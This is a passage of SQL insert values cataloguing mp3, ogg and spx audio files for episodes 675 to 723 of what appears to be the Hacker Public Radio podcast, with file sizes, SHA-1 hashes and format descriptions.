(675,'hpr0675.spx','spx',1717394,'64a96426b697f0a7c277a176aaddf0442a07af21','application/ogg; charset=binary','Ogg data, Speex audio'),
(676,'hpr0676.mp3','mp3',29895340,'8b8a051ddf63c0d1ecd3c09a688684b719d95ea3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(676,'hpr0676.ogg','ogg',21733953,'867480393f1b42c1fabb8c5c18f669e690010c3a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(676,'hpr0676.spx','spx',8901338,'f700a55b57eb984b73d9559231509ec196c899b3','application/ogg; charset=binary','Ogg data, Speex audio'),
(677,'hpr0677.mp3','mp3',13905346,'469a961c4b96e03f36363047e8f423f3bd00a7b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(677,'hpr0677.ogg','ogg',11019793,'2a7d77ad0001ea059446978d4c0186d7eced3935','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(677,'hpr0677.spx','spx',3655299,'62833c63c271934b794008d25bde4934b7838f2a','application/ogg; charset=binary','Ogg data, Speex audio'),
(678,'hpr0678.mp3','mp3',8905772,'e199fdb23a4c6f83eabc9d2e11edaaa4b5b3678f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(678,'hpr0678.ogg','ogg',6764389,'a4c9093f30100462bf5b2d61f50dc64b9807c080','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(678,'hpr0678.spx','spx',2045037,'120dfecf7400fbda8d933a34263f1e1d1c125c13','application/ogg; charset=binary','Ogg data, Speex audio'),
(679,'hpr0679.mp3','mp3',17860999,'62114fe5a303307aa3367f6dba89818c9ef933b0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(679,'hpr0679.ogg','ogg',15190743,'02f88e1dc2332276c5484bda2889c0fd4eb84ff8','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(679,'hpr0679.spx','spx',4101968,'2b0772d45531b4d508d19029c5c7de7e81c79306','application/ogg; charset=binary','Ogg data, Speex audio'),
(680,'hpr0680.mp3','mp3',11769492,'78c3d6b8ed731886d7d0d3631f652bcdac35600d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 32 kHz, Stereo'),
(680,'hpr0680.ogg','ogg',13740489,'0be15c4d223d7dc8a28b3669b7c36de3205a3e73','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(680,'hpr0680.spx','spx',235,'10420da71b036daf24170d5d054c08bc3a8e891d','application/ogg; charset=binary','Ogg data, Speex audio'),
(681,'hpr0681.mp3','mp3',9062199,'a74a34c387b3e2abc1226cde0a12fd46e33da686','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(681,'hpr0681.ogg','ogg',4411106,'2da6ed5329fede72c15160c2505b2c5f39aa8aa9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(681,'hpr0681.spx','spx',2698267,'5ac1b845209ecc90011b163b1d4b242030eeacf6','application/ogg; charset=binary','Ogg data, Speex audio'),
(682,'hpr0682.mp3','mp3',18382420,'1e026b2dbb8b33e9ceca71ee3d40ae3781dd10dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(682,'hpr0682.ogg','ogg',18552925,'bdbf0e14769e736082a737d890c961b6b57ccd40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~110000 bps, created by: Xiph.Org libVorbis I'),
(682,'hpr0682.spx','spx',4919105,'37fa2b773bc4d129440810fc3dbc939746cef305','application/ogg; charset=binary','Ogg data, Speex audio'),
(683,'hpr0683.mp3','mp3',2346235,'ab1a9bcd4954fa8ad182cac0e42d7be297f139da','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III,  v2.5,  64 kbps, 8 kHz, Stereo'),
(683,'hpr0683.ogg','ogg',1023777,'3dc5303fa3211b366d7cfd0b20050ce9c1d724aa','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 8000 Hz, ~31800 bps, created by: Xiph.Org libVorbis I'),
(683,'hpr0683.spx','spx',604557,'1c2c4adb8879c6eedfe9f9f103000bd1ab759b1a','application/ogg; charset=binary','Ogg data, Speex audio'),
(684,'hpr0684.mp3','mp3',85399552,'41f184d6b80f88fd8302d0e6694c92b976aa4506','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(684,'hpr0684.ogg','ogg',60239444,'ef52dd3fd0355681f37530fe0b44debad66fbcb1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(684,'hpr0684.spx','spx',25426685,'a22331ee33cade3e10dafa425c4606a20de8525a','application/ogg; charset=binary','Ogg data, Speex audio'),
(685,'hpr0685.mp3','mp3',2247738,'16e2cae3533b6cebb1bf4126fa0086991b27e838','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(685,'hpr0685.ogg','ogg',4769404,'5d1b9d55cd563b1ad5c9812bfd1488f93b2128ee','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(685,'hpr0685.spx','spx',1031845,'9f386b72046ab63eaf61232bae345a6987b9649a','application/ogg; charset=binary','Ogg data, Speex audio'),
(686,'hpr0686.mp3','mp3',12451341,'843c1299eb33f010a3a73cc2eb6201270e28156c','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(686,'hpr0686.ogg','ogg',9541740,'8ea3115c509bab582d1807f4e861d03d01fdc011','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(686,'hpr0686.spx','spx',2858836,'3bafcf289caf30d4a1ba1c98acdfb4b87f3af489','application/ogg; charset=binary','Ogg data, Speex audio'),
(687,'hpr0687.mp3','mp3',7043959,'01253954262048f5f30c1ee1709a9b4b7ec8fbae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(687,'hpr0687.ogg','ogg',3459962,'05b584a2540fe7c1b3775391a392c64888c16a10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(687,'hpr0687.spx','spx',2097473,'4a76698dc00a5f4cc8d54c9b259fe0ccbfdd9d71','application/ogg; charset=binary','Ogg data, Speex audio'),
(688,'hpr0688.mp3','mp3',34470530,'c71d0c662957929b00e6a438649183e168915d0a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(688,'hpr0688.ogg','ogg',36521508,'cc4266b9f15e63e3877d7f7cd62c335e2f597469','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(688,'hpr0688.spx','spx',14791366,'5cde3c51b7a4e39f1f224cad66108bd352e0745a','application/ogg; charset=binary','Ogg data, Speex audio'),
(689,'hpr0689.mp3','mp3',61186048,'195283b70fda66acc0e31fe756b362a4e8b0b4c8','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(689,'hpr0689.ogg','ogg',42102829,'d58e01baf60f8b328ee731407c428fd01f320aa8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(689,'hpr0689.spx','spx',18210924,'35bcd982e8dba95bd4aa7db3113da109bf0c02bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(690,'hpr0690.mp3','mp3',10872885,'341a53b5dfdff1d1271371412940f0dc17de4ac0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(690,'hpr0690.ogg','ogg',7931289,'539b8cd581afe0bf502d9115c81c9ca302d2fc7e','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(690,'hpr0690.spx','spx',2484442,'dfab25a39db755b2456ef50742efac7af641550f','application/ogg; charset=binary','Ogg data, Speex audio'),
(691,'hpr0691.mp3','mp3',16764016,'f75628b7b28ee22103cd5d5f80a518563f54c04d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(691,'hpr0691.ogg','ogg',7813849,'8e2d7a3784fdc11dfa1d669a5ce6b65cde3e80d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(691,'hpr0691.spx','spx',4991495,'319ec0571d6a6e84d2d24971ba6b72f6f2f8a4c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(692,'hpr0692.mp3','mp3',4992400,'7cca304ed00a2c540c99808fb9a9d1ad78b4eca4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(692,'hpr0692.ogg','ogg',4241819,'b289f87ee8ce9be5f53cef76f2ee5d4a6da2b444','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(692,'hpr0692.spx','spx',1146513,'eec856711c7e42865f88b9c5173a3a2b42bbc07c','application/ogg; charset=binary','Ogg data, Speex audio'),
(693,'hpr0693.mp3','mp3',13218322,'3d82af0b688f59a26857416db652c1d41c879853','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Stereo'),
(693,'hpr0693.ogg','ogg',10158072,'7247b3a21d0d9f4181fb54cee19726570d0b1fd1','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(693,'hpr0693.spx','spx',3034905,'9750953d510a072fb327646239422f637c533cfb','application/ogg; charset=binary','Ogg data, Speex audio'),
(694,'hpr0694.mp3','mp3',5058032,'b2948519a6ae21d52de8d408665f3a38c18c143c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(694,'hpr0694.ogg','ogg',6343400,'599ebea808d2766fd5e89587bdead4919e91da86','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(694,'hpr0694.spx','spx',4468529,'4b1368de9550b8a106ec44c7c79f0446b4e4ffed','application/ogg; charset=binary','Ogg data, Speex audio'),
(695,'hpr0695.mp3','mp3',18976504,'5653f72f86fb2acff4f62070a5ae19f1f769a49c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(695,'hpr0695.ogg','ogg',13943410,'2d33297dab3ab9aa1e368345ee37f495ae7b5deb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(695,'hpr0695.spx','spx',5650133,'830424799d3c9731301d7b4437e79888e47cf60f','application/ogg; charset=binary','Ogg data, Speex audio'),
(696,'hpr0696.mp3','mp3',9878336,'98c23dbfde78c30bd9213f77bb96c626976d84c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(696,'hpr0696.ogg','ogg',4769309,'04610f7c92e79770b237c4cb244775d4a991fd50','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(696,'hpr0696.spx','spx',2941371,'5f1c4e115c863dffba996ddfe60d2025f75a85e0','application/ogg; charset=binary','Ogg data, Speex audio'),
(697,'hpr0697.mp3','mp3',24548829,'f655da3e921c147260b7d9b222f2447c302f3d0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(697,'hpr0697.ogg','ogg',14109323,'88be72d6b3507d73bda411c587e38a6eea045620','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(697,'hpr0697.spx','spx',7309487,'7623e904f412f3f05f6cded139cafc3cc8ce7ce9','application/ogg; charset=binary','Ogg data, Speex audio'),
(698,'hpr0698.mp3','mp3',21725184,'7d87657418914d94c2f8b2cb49ee2d134fcc4781','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(698,'hpr0698.ogg','ogg',9998757,'47f7a098c31f7df35e483c4cbda1e3eb7df8946b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(698,'hpr0698.spx','spx',4851660,'16cbf36f6f6fac2a63ff322db1024f3b54ce7cab','application/ogg; charset=binary','Ogg data, Speex audio'),
(699,'hpr0699.mp3','mp3',98539516,'b5260dea06d06cd3b103aedb5fea1b84f617b5c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(699,'hpr0699.ogg','ogg',54995245,'ecdd205732e507d7fc028151561aab1ada451b8f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(699,'hpr0699.spx','spx',29339079,'8ba18147a2888ab09a18fa6ce6523fac08b5ee3e','application/ogg; charset=binary','Ogg data, Speex audio'),
(700,'hpr0700.mp3','mp3',11394596,'18e3330c5b9e57144a05e923532a06450a7d8922','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(700,'hpr0700.ogg','ogg',5482108,'0d37a754b9e932cfb1ccd0ff9e14bec38d758960','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(700,'hpr0700.spx','spx',3392847,'a6fad38a01370cf9d4f69bfb84673e4ac25f22bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(701,'hpr0701.mp3','mp3',14048163,'aabef3490ced91c083b47173e88b42afa07645df','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(701,'hpr0701.ogg','ogg',6554401,'b9003de50136b8623f6762e6799db79d95a9e654','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(701,'hpr0701.spx','spx',4182948,'e9087e92c70e41cd3dd3907c06afd7bd3adf18f6','application/ogg; charset=binary','Ogg data, Speex audio'),
(702,'hpr0702.mp3','mp3',41207115,'5a969e2ac8aa0432cb3d81b8e5ca8deda35fb47e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(702,'hpr0702.ogg','ogg',29188261,'6045dc6ddefcffc9478f3e75fc3caa59d588499d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(702,'hpr0702.spx','spx',12269271,'aa440c243f104bbb4428ac6fb122ede1e206e700','application/ogg; charset=binary','Ogg data, Speex audio'),
(703,'hpr0703.mp3','mp3',2590808,'c196ecb5a02a435045841930082b7d3a0618cade','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(703,'hpr0703.ogg','ogg',2729970,'4195bafdc36a69f24deceaeb52afc9215f04d611','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps'),
(703,'hpr0703.spx','spx',1046911,'4145325db6e0e8f7adaaba936d4206b2bab91995','application/ogg; charset=binary','Ogg data, Speex audio'),
(704,'hpr0704.mp3','mp3',36154364,'45083abb841658ac3ea3a308b79ac11ed585164b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(704,'hpr0704.ogg','ogg',26106343,'511297a5b247f7b7fda2e6c0da935765a74ad94e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(704,'hpr0704.spx','spx',10764504,'32fa20affd4ca2ec2189a199b4d91c79661f769e','application/ogg; charset=binary','Ogg data, Speex audio'),
(705,'hpr0705.mp3','mp3',3706436,'c8765ad576f9485e2721c1e44bae4b348c3b4101','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(705,'hpr0705.ogg','ogg',2581593,'23c3bb3d7e51f7924b6572aa54e04a80c43a80d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(705,'hpr0705.spx','spx',1103762,'eab42212533c199917a2d58670cb3fef4f131ccf','application/ogg; charset=binary','Ogg data, Speex audio'),
(706,'hpr0706.mp3','mp3',7429271,'c5975cecbfb641cfcfee5336cc921a3df4337950','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(706,'hpr0706.ogg','ogg',3702261,'dd8da06bc0da4c1f95c5d88b128e566282b61b68','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(706,'hpr0706.spx','spx',2212196,'6e8e75d74f704290940595b83e5c35d77ea500c4','application/ogg; charset=binary','Ogg data, Speex audio'),
(707,'hpr0707.mp3','mp3',18041299,'a118d88ebb4319f0c8fe0b687a752a35581d02c7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(707,'hpr0707.ogg','ogg',35100879,'c075e078f036117b6ef5d7c9736ec457a2dc45ca','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(707,'hpr0707.spx','spx',8284361,'32b6c2ec342748e96952631bfe51168f398563d2','application/ogg; charset=binary','Ogg data, Speex audio'),
(708,'hpr0708.mp3','mp3',7580661,'7a61f6ccebfb512f716b2de386c5b26e6e090c09','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(708,'hpr0708.ogg','ogg',5351699,'12026eda872269469de5db29da822b2e241c74ed','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(708,'hpr0708.spx','spx',2257279,'c68c66eff737ce30a977165f8e908742fdd627a2','application/ogg; charset=binary','Ogg data, Speex audio'),
(709,'hpr0709.mp3','mp3',23310491,'0533c3a4cdce4a3e7692b0f3bf27c4e8c64cb893','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(709,'hpr0709.ogg','ogg',18703650,'3fd633f5f7c068b758d2f44e815fa3da4eab9041','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(709,'hpr0709.spx','spx',5352328,'7333a384435b733772b53fbaee7ae1602c0362f7','application/ogg; charset=binary','Ogg data, Speex audio'),
(710,'hpr0710.mp3','mp3',27422016,'5d98cb800ad792f8f483b93425b6e6dc05489ab6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v2,  32 kbps, 16 kHz, JntStereo'),
(710,'hpr0710.ogg','ogg',15204471,'0f178a1e1bf7f5917a2e701245c3182fc553aa43','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 16000 Hz, ~66666 bps, created by: Xiph.Org libVorbis I'),
(710,'hpr0710.spx','spx',8211599,'0ba54e35a2e7472a8419916443c3f2a22067cd8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(711,'hpr0711.mp3','mp3',2904064,'2fbfa93071071470a9c4699b5158b6361083a319','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  48 kbps, 32 kHz, Monaural'),
(711,'hpr0711.ogg','ogg',2092185,'37fad5bc42d4152d1716f13104677d101bd0d1a6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 32000 Hz, ~72000 bps, created by: Xiph.Org libVorbis I'),
(711,'hpr0711.spx','spx',1728445,'02692302159a97663e8898b954d172f59924e642','application/ogg; charset=binary','Ogg data, Speex audio'),
(712,'hpr0712.mp3','mp3',7706149,'22233df1944afe233cbbc04e6b7213ac3325ace6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  80 kbps, 44.1 kHz, Stereo'),
(712,'hpr0712.ogg','ogg',9285683,'4d036d524d445eaf1329eccec189fa53651ba834','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(712,'hpr0712.spx','spx',2830829,'e8370c3a0b2bcd91730cb22e34e3ddf412633762','application/ogg; charset=binary','Ogg data, Speex audio'),
(713,'hpr0713.mp3','mp3',26888576,'a95d70d5103ddfefd0daba0446fe42c0de1a200b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(713,'hpr0713.ogg','ogg',14295916,'484f6dcbde8b66bee94819884a48f7c744b8c1ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(713,'hpr0713.spx','spx',8005927,'dbcd5d56e3c63cf39be5062be109f9e87cd9cace','application/ogg; charset=binary','Ogg data, Speex audio'),
(714,'hpr0714.mp3','mp3',9089935,'5b10b6c1cb2deb5afdde5d2bf77da716be001430','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(714,'hpr0714.ogg','ogg',11778703,'65b19bf4d6b956cfc4e7f37ce0cdb8d560d5355b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~86000 bps, created by: Xiph.Org libVorbis I'),
(714,'hpr0714.spx','spx',8655336,'4e522b10ac37a69bd50e5feb62ca918eed0efd36','application/ogg; charset=binary','Ogg data, Speex audio'),
(715,'hpr0715.mp3','mp3',47688744,'714b8d9cac86f76857c6d1a731ac5b92d9446524','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1,  96 kbps, 44.1 kHz, Monaural'),
(715,'hpr0715.ogg','ogg',25394451,'03e8f9af5e9a710ed567b6748be65946d6a5faaa','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(715,'hpr0715.spx','spx',14199059,'c6142c822542827510b41b58a098a90e520da572','application/ogg; charset=binary','Ogg data, Speex audio'),
(716,'hpr0716.mp3','mp3',26159671,'59010817482eed406fc9b8b3c72adbddab0d28cd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0, extended headerMPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, Monaural'),
(716,'hpr0716.ogg','ogg',17457110,'09b30e12d73957004006a1ed2adf2460ff7c4b28','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~96000 bps, created by: Xiph.Org libVorbis I'),
(716,'hpr0716.spx','spx',8450551,'93f7da4d9902e977c375a3cbe7f74d2d583b2681','application/ogg; charset=binary','Ogg data, Speex audio'),
(717,'hpr0717.mp3','mp3',12121968,'be33c026458a2b292c7fcf21d3dfb472acc0c3b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(717,'hpr0717.ogg','ogg',29560755,'06a7690fe744e9f11036ef010218c99973cd7fb7','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I'),
(717,'hpr0717.spx','spx',5567741,'a751562b1f34a6359c2497d457890baf6bcf34ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(718,'hpr0718.mp3','mp3',3722932,'78c520f3174505065f62f6218528be61bcf3f7f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, JntStereo'),
(718,'hpr0718.ogg','ogg',6691397,'4134eba5d478cc032d25f3208b471b4239cbc84b','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~160000 bps, created by: Xiph.Org libVorbis I (1.1.0 RC1)'),
(718,'hpr0718.spx','spx',1709544,'02a8515e0feef06109b39e1e51b9a3534e2a5b5f','application/ogg; charset=binary','Ogg data, Speex audio'),
(719,'hpr0719.mp3','mp3',17317019,'6d40ac79faf9d31acf4e5014495d79f1d11ed94e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 48 kHz, JntStereo'),
(719,'hpr0719.ogg','ogg',14156389,'d846dd8473cbfdf626ddad0ca019b4f814a1d120','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 48000 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(719,'hpr0719.spx','spx',3976255,'1a274de8df47f5bb057092a84420d306943526ce','application/ogg; charset=binary','Ogg data, Speex audio'),
(720,'hpr0720.mp3','mp3',749568,'5dc2b16c0212e09c1db88104eb57818f5dfac3b4','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III,  v2.5,   8 kbps, 8 kHz, Monaural'),
(720,'hpr0720.ogg','ogg',1814535,'e0f59c225b9be9474595ffcdc5544e473ddd1a7b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 8000 Hz, ~22400 bps, created by: Xiph.Org libVorbis I'),
(720,'hpr0720.spx','spx',2670910,'9e6bb8e399aeb59f34fcf520324b65eed23148b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(721,'hpr0721.mp3','mp3',14978616,'65674c083f803a847652c4e2ccb2aed264b9228d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1, 128 kbps, 44.1 kHz, JntStereo'),
(721,'hpr0721.ogg','ogg',12018612,'2e67281c4f56d69fcc8eaa4ed80930a74ccff378','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(721,'hpr0721.spx','spx',3961688,'cc92fcb7b282b2226f979c8166bbb23b982a26f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(722,'hpr0722.mp3','mp3',7310856,'f205441e068b3076f488ffdfc1e341b85713e04d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  56 kbps, 44.1 kHz, Stereo'),
(722,'hpr0722.ogg','ogg',10400605,'468ba8a2dff3fa976535d08c7111119204cf363a','application/ogg; charset=binary','Ogg data, Vorbis audio, stereo, 44100 Hz, ~112000 bps, created by: Xiph.Org libVorbis I'),
(722,'hpr0722.spx','spx',3792669,'44e40b2134ff6cf5d7d14f09cceb6204614155c6','application/ogg; charset=binary','Ogg data, Speex audio'),
(723,'hpr0723.mp3','mp3',18343936,'0847e7e737d6f1df4545aea98833d158309de764','audio/mpeg; charset=binary','Audio file with ID3 version 2.3.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(723,'hpr0723.ogg','ogg',10960280,'efa1bca942a729a532056174372d78872cb7332e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(723,'hpr0723.spx','spx',8192172,'444b1b07a7cad1d505585fce2b92060638c41366','application/ogg; charset=binary','Ogg data, Speex audio'),
